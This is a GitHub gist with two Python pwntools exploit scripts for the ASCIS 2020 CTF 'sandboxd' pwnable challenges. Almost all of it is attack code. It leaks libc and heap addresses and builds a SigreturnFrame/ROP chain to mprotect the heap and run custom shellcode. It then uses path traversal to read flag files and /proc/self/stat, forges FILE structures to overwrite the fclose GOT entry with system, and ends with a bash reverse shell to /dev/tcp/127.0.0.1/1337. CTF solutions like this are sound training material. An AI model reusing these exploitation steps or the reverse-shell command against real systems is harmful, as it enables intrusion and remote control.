Last active
April 9, 2021 11:53
-
-
Save kungfulon/6177afc97b98819a939892a6b81e27ed to your computer and use it in GitHub Desktop.
ASCIS 2020 - Pwnable challenges
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
from pwn import * | |
context.os = 'linux' | |
context.arch = 'amd64' | |
b = ELF('./sandboxd') | |
l = ELF('./libc-2.31.so') | |
context.terminal = ['tmux', 'sp', '-h', '-p', '80'] | |
#r = gdb.debug(args=['./sandboxd', './/////////////'], gdbscript='set follow-fork-mode child', exe='./sandboxd') | |
r = b.process(argv=['.//////////////']) #, env={'LD_PRELOAD': './libc-2.31.so'}) | |
#r = remote('34.126.72.51', 31337) | |
def register(u, p): | |
r.sendlineafter('>> ', '1') | |
r.sendlineafter('Username:', u) | |
r.sendlineafter('Password:', p) | |
def login(u, p): | |
r.sendlineafter('>> ', '2') | |
r.sendlineafter('Username:', u) | |
r.sendlineafter('Password:', p) | |
def write_secret(sz, d): | |
r.sendlineafter('>>', '1') | |
r.sendlineafter('Size: ', str(sz)) | |
r.sendlineafter('Data: ', d) | |
def read_secret(): | |
r.sendlineafter('>>', '3') | |
def destroy_account(): | |
r.sendlineafter('>>', '5') | |
def logout(): | |
r.sendlineafter('>>', '6') | |
register('a', 'a') | |
login('a', 'a') | |
write_secret(0x40, '') | |
read_secret() | |
r.recvline() | |
l.address = int(b''.join(r.recvn(23).split(b' ')[::-1]), 16) - 0x1ebcc0 | |
log.info('libc = 0x{:x}'.format(l.address)) | |
write_secret(0x68, '') | |
read_secret() | |
r.recvline() | |
heap = int(b''.join(r.recvn(23).split(b' ')[::-1]), 16) - 0x16dc0 | |
log.info('heap = 0x{:x}'.format(heap)) | |
srop = SigreturnFrame() | |
srop['uc_stack.ss_size'] = l.symbols['setcontext'] + 0x3d | |
srop.rdi = heap | |
srop.rsi = 0x20000 | |
srop.rdx = 0x7 | |
srop.rsp = heap + 0x17460 + len(bytes(srop)) | |
srop.rip = l.symbols['mprotect'] | |
rop = bytes(srop) + p64(l.address + 0x284c8) # call rsp | |
shellcode = asm(''' | |
push rdi | |
pop rbx | |
loop: | |
call send_command | |
call recv_response | |
call send_command | |
call recv_response | |
call attach_and_print_shm | |
attach_and_print_shm: | |
sub rsp, 0x18 | |
push 0x0 | |
pop rdi | |
push rsp | |
pop rsi | |
push 0x14 | |
pop rdx | |
push SYS_read | |
pop rax | |
syscall | |
mov edi, [rsp] | |
mov rsi, [rsp+0x4] | |
mov edx, [rsp+0xc] | |
push SYS_shmget | |
pop rax | |
syscall | |
push rax | |
pop rdi | |
xor rsi, rsi | |
xor rdx, rdx | |
push SYS_shmat | |
pop rax | |
syscall | |
push 0x1 | |
pop rdi | |
push rax | |
pop rsi | |
mov edx, [rsp+0x10] | |
call write_buf | |
add rsp, 0x18 | |
ret | |
send_command: | |
push 0x0 | |
pop rdi | |
push rbx | |
pop rsi | |
call read_buf | |
push 0x4 | |
pop rdi | |
push rbx | |
pop rsi | |
push rax | |
pop rdx | |
call write_buf | |
ret | |
recv_response: | |
push 0x4 | |
pop rdi | |
push rbx | |
pop rsi | |
call read_buf | |
push 0x1 | |
pop rdi | |
push rbx | |
pop rsi | |
push rax | |
pop rdx | |
call write_buf | |
ret | |
write_buf: | |
push rsi | |
push rdx | |
push rsp | |
pop rsi | |
push 0x4 | |
pop rdx | |
push SYS_write | |
pop rax | |
syscall | |
pop rdx | |
pop rsi | |
push SYS_write | |
pop rax | |
syscall | |
ret | |
read_buf: | |
push rsi | |
push 0x0 | |
push rsp | |
pop rsi | |
push 0x4 | |
pop rdx | |
push SYS_read | |
pop rax | |
syscall | |
pop rdx | |
pop rsi | |
push rdx | |
call readn | |
pop rax | |
ret | |
readn: | |
push SYS_read | |
pop rax | |
syscall | |
add rsi, rax | |
sub rdx, rax | |
test rdx, rdx | |
jnz readn | |
ret | |
''') | |
write_secret(0x68, b'\x00' * 0x58 + p64(heap + 0x16ad0) + p64(0x1000)) | |
write_secret(0x1000, rop + shellcode) | |
logout() | |
register('b', 'b') | |
login('b', 'b') | |
write_secret(0x51, p64(heap + 0x16ad8) + p64(heap + 0x17460) + p64(0x0) * 7 + p64(l.address + 0x154930)) # mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20] | |
logout() | |
login('a', 'a') | |
def send_command(header, cmd, params): | |
payload = p64(header) + p32(cmd) + p32(len(params)) | |
for i in range(len(params)): | |
payload += p32(len(params[i])) | |
payload += params[i] | |
r.send(p32(len(payload))) | |
r.send(payload) | |
def recv_response(): | |
return r.recvn(u32(r.recvn(4))) | |
def parse_response(dat): | |
header = u64(dat[:8]) | |
cmd = u32(dat[8:12]) | |
params_count = u32(dat[12:16]) | |
params = [] | |
offset = 16 | |
for i in range(params_count): | |
param_length = u32(dat[offset:offset+4]) | |
offset += 4 | |
params.append(dat[offset:offset+param_length]) | |
offset += param_length | |
return header, cmd, params | |
send_command(0xdeadbeef, 5, [b'give_me_flag']) | |
_, _, params = parse_response(recv_response()) | |
log.success(params[0].decode('ascii')) | |
send_command(0, 1, [b'../../../../../../../../../home/escape_me/flag2', b'r']) | |
handle, _, params = parse_response(recv_response()) | |
r.send(p32(int(params[3]) & 0xffffffff) + p64(int(params[2]) & 0xffffffffffffffff) + p32(0o1666) + p32(int(params[1]) & 0xffffffff)) | |
log.success(recv_response().decode('ascii')) | |
r.interactive() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
from pwn import * | |
context.os = 'linux' | |
context.arch = 'amd64' | |
b = ELF('./sandboxd') | |
l = ELF('./libc-2.31.so') | |
context.terminal = ['tmux', 'sp', '-h', '-p', '80'] | |
#r = gdb.debug(args=['./sandboxd', './/////////////'], gdbscript='set follow-fork-mode parent', exe='./sandboxd') | |
r = b.process(argv=['.//////////////'], env={'LD_PRELOAD': './libc-2.31.so'}) | |
#r = remote('34.126.72.51', 31337) | |
def register(u, p): | |
r.sendlineafter('>> ', '1') | |
r.sendlineafter('Username:', u) | |
r.sendlineafter('Password:', p) | |
def login(u, p): | |
r.sendlineafter('>> ', '2') | |
r.sendlineafter('Username:', u) | |
r.sendlineafter('Password:', p) | |
def write_secret(sz, d): | |
r.sendlineafter('>>', '1') | |
r.sendlineafter('Size: ', str(sz)) | |
r.sendlineafter('Data: ', d) | |
def read_secret(): | |
r.sendlineafter('>>', '3') | |
def destroy_account(): | |
r.sendlineafter('>>', '5') | |
def logout(): | |
r.sendlineafter('>>', '6') | |
register('a', 'a') | |
login('a', 'a') | |
write_secret(0x40, '') | |
read_secret() | |
r.recvline() | |
l.address = int(b''.join(r.recvn(23).split(b' ')[::-1]), 16) - 0x1ebcc0 | |
log.info('libc = 0x{:x}'.format(l.address)) | |
write_secret(0x68, '') | |
read_secret() | |
r.recvline() | |
heap = int(b''.join(r.recvn(23).split(b' ')[::-1]), 16) - 0x16dc0 | |
log.info('heap = 0x{:x}'.format(heap)) | |
srop = SigreturnFrame() | |
srop['uc_stack.ss_size'] = l.symbols['setcontext'] + 0x3d | |
srop.rdi = heap | |
srop.rsi = 0x20000 | |
srop.rdx = 0x7 | |
srop.rsp = heap + 0x17460 + len(bytes(srop)) | |
srop.rip = l.symbols['mprotect'] | |
rop = bytes(srop) + p64(l.address + 0x284c8) # call rsp | |
shellcode = asm(''' | |
push rdi | |
pop rbx | |
loop: | |
call send_command | |
call recv_response | |
call attach_and_print_shm | |
call send_command | |
call recv_response | |
call reconnect | |
call send_command | |
call recv_response | |
call reconnect | |
call send_command | |
push 0x4 | |
pop rdi | |
push rbx | |
pop rsi | |
push 0x8 | |
pop rdx | |
push SYS_read | |
pop rax | |
syscall | |
push 0x1 | |
pop rdi | |
push SYS_write | |
pop rax | |
syscall | |
mov rax, [rbx] | |
sub rax, 0x{:x} | |
add rax, 0x{:x} | |
mov [r15], rax | |
call recv_response | |
call send_command | |
call recv_response | |
call send_command | |
push rbx | |
pop rsi | |
read_loop: | |
xor rdi, rdi | |
push 0x1 | |
pop rdx | |
push SYS_read | |
pop rax | |
syscall | |
jmp read_loop | |
reconnect: | |
push 0x4 | |
pop rdi | |
push SYS_close | |
pop rax | |
syscall | |
push 0x1 | |
pop rdi | |
push 0x1 | |
pop rsi | |
xor rdx, rdx | |
push SYS_socket | |
pop rax | |
syscall | |
push rax | |
pop rdi | |
lea rsi, [rbx+0x11efe] | |
mov word ptr [rsi], 0x1 | |
push 0x6e | |
pop rdx | |
push SYS_connect | |
pop rax | |
syscall | |
ret | |
attach_and_print_shm: | |
sub rsp, 0x18 | |
push 0x0 | |
pop rdi | |
push rsp | |
pop rsi | |
push 0x14 | |
pop rdx | |
push SYS_read | |
pop rax | |
syscall | |
mov edi, [rsp] | |
mov rsi, [rsp+0x4] | |
mov edx, [rsp+0xc] | |
push SYS_shmget | |
pop rax | |
syscall | |
push rax | |
pop rdi | |
xor rsi, rsi | |
xor rdx, rdx | |
push SYS_shmat | |
pop rax | |
syscall | |
push rax | |
pop r15 | |
push 0x1 | |
pop rdi | |
push rax | |
pop rsi | |
mov edx, [rsp+0x10] | |
call write_buf | |
add rsp, 0x18 | |
ret | |
send_command: | |
push 0x0 | |
pop rdi | |
push rbx | |
pop rsi | |
call read_buf | |
push 0x4 | |
pop rdi | |
push rbx | |
pop rsi | |
push rax | |
pop rdx | |
push SYS_write | |
pop rax | |
syscall | |
ret | |
recv_response: | |
push 0x4 | |
pop rdi | |
push rbx | |
pop rsi | |
call read_buf | |
push 0x1 | |
pop rdi | |
push rbx | |
pop rsi | |
push rax | |
pop rdx | |
call write_buf | |
ret | |
write_buf: | |
push rsi | |
push rdx | |
push rsp | |
pop rsi | |
push 0x4 | |
pop rdx | |
push SYS_write | |
pop rax | |
syscall | |
pop rdx | |
pop rsi | |
push SYS_write | |
pop rax | |
syscall | |
ret | |
read_buf: | |
push rsi | |
push 0x0 | |
push rsp | |
pop rsi | |
push 0x4 | |
pop rdx | |
push SYS_read | |
pop rax | |
syscall | |
pop rdx | |
pop rsi | |
push rdx | |
call readn | |
pop rax | |
ret | |
readn: | |
push SYS_read | |
pop rax | |
syscall | |
add rsi, rax | |
sub rdx, rax | |
test rdx, rdx | |
jnz readn | |
ret | |
'''.format(l.symbols['fclose'] - l.address, l.symbols['system'] - l.address)) | |
write_secret(0x68, b'\x00' * 0x58 + p64(heap + 0x16ad0) + p64(0x1000)) | |
write_secret(0x1000, rop + shellcode) | |
logout() | |
register('b', 'b') | |
login('b', 'b') | |
write_secret(0x51, p64(heap + 0x16ad8) + p64(heap + 0x17460) + p64(0x0) * 7 + p64(l.address + 0x154930)) # mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20] | |
logout() | |
login('a', 'a') | |
def send_command(header, cmd, params, size=None): | |
payload = p64(header) + p32(cmd) + p32(len(params)) | |
for i in range(len(params)): | |
payload += p32(len(params[i])) | |
payload += params[i] | |
r.send(p32(len(payload) + 4)) | |
if size is None: | |
r.send(p32(len(payload))) | |
else: | |
r.send(p32(size)) | |
r.send(payload) | |
def recv_response(): | |
return r.recvn(u32(r.recvn(4))) | |
def parse_response(dat): | |
header = u64(dat[:8]) | |
cmd = u32(dat[8:12]) | |
params_count = u32(dat[12:16]) | |
params = [] | |
offset = 16 | |
for i in range(params_count): | |
param_length = u32(dat[offset:offset+4]) | |
offset += 4 | |
params.append(dat[offset:offset+param_length]) | |
offset += param_length | |
return header, cmd, params | |
send_command(0, 1, [b'../../../../../../../../../proc/self/stat', b'r']) | |
handle, _, params = parse_response(recv_response()) | |
r.send(p32(int(params[3]) & 0xffffffff) + p64(int(params[2]) & 0xffffffffffffffff) + p32(0o1666) + p32(int(params[1]) & 0xffffffff)) | |
stat_params = recv_response().strip(b'\x00').decode('ascii').split() | |
b.address = int(stat_params[25]) | |
log.info('binary = 0x{:x}'.format(b.address)) | |
send_command(handle, 3, [b'r', b'0']) | |
recv_response() | |
payload = p32(0x1010) + p64(0) + p32(0) + p32(0x401) | |
r.send(p32(len(payload))) | |
r.send(payload) | |
recv_response() | |
file = FileStructure(null=b.bss(0x1000)) | |
file.flags = p64(0xfbad0000 | 0x800) # IO_CURRENTLY_PUTTING | |
file.fileno = 0x4 | |
file._IO_read_end = b.got['fclose'] | |
file._IO_write_base = b.got['fclose'] | |
file._IO_write_ptr = b.got['fclose'] + 0x8 | |
send_command(handle, 3, [b'w', b'0' + b'\x00' * 6 + bytes(file)[:0x74]], 0x1f8) | |
l.address = 0 | |
l.address = u64(r.recvn(8)) - l.symbols['fclose'] | |
log.info('libc = 0x{:x}'.format(l.address)) | |
recv_response() | |
file = FileStructure(null=b.bss(0x1000)) | |
file.flags = p64(0xfbad0000 | 0x4) # IO_NO_READS | |
file.fileno = 0x4 | |
file._IO_buf_base = 0x1 | |
file._IO_write_base = b.got['fclose'] | |
file._IO_write_ptr = b.got['fclose'] | |
file._IO_write_end = b.got['fclose'] + 0x1000 | |
send_command(handle, 3, [b'w', b'8' + b'\x00' * 6 + bytes(file)[:0x74]], 0x1f8) | |
recv_response() | |
send_command(handle, 3, [b'r', b'0' + b'\x00' * 6 + b'/bin/bash -c \'/bin/bash -i >&/dev/tcp/127.0.0.1/1337 0>&1 2>&1\'\x00'], 0x1f8) | |
r.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment